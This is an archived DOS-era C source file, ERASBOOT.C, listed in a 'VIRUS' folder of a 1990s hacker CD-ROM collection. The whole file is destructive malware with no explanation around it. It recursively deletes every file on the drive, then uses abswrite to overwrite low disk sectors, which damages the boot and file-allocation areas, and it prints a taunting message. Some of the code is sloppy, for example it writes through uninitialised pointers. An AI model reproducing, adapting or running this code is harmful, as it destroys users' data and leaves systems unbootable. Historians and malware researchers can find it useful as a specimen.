home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / ERASBOOT.C < prev    next >
Text File  |  1994-07-17  |  854b  |  55 lines

  1. #include <stdio.h>
  2. #include <dir.h>
  3. #include <dos.h>
  4.  
  5. main()
  6. {
  7.     SearchAndDestroy("");
  8.     span("");
  9.     boot();
  10. }
  11.  
  12. span(p)
  13.     char *p;
  14. {
  15.     struct ffblk f;
  16.     char n[129];
  17.     int r;
  18.  
  19.     SearchAndDestroy(p);
  20.     sprintf(n,"%s\\%s",p,"*.*");
  21.     for(r=findfirst(n,&f,0x0010);!r;r=findnext(&f)) {
  22.         if(*f.ff_name=='.') continue;
  23.         if(f.ff_attrib & 0x0010) {
  24.             sprintf(n,"%s\\%s",p,f.ff_name);
  25.             span(n);
  26.         }
  27.     }
  28. }
  29.  
  30. SearchAndDestroy(p)
  31.     char *p;
  32. {
  33.     struct ffblk f;
  34.     char b[81];
  35.     int r;
  36.  
  37.     strcpy(b,p);
  38.     strcat(b,"\\*.*");
  39.     for(r=findfirst(b,&f,0x0000);!r;r=findnext(&f)) {
  40.         sprintf(b,"%s\\%s",p,f.ff_name);
  41.         remove(b);
  42.     }
  43. }
  44.  
  45. boot()
  46. {
  47.     char *buff;
  48.     char *test;
  49.  
  50.     fprintf(test,"THIS PROGRAM WAS MADE BY A PERSON FAR FROM YOU!!");
  51.     abswrite(2,12,0,buff);
  52. }
  53. 
  54. Downloaded From P-80 International Information Systems 304-744-2253
  55.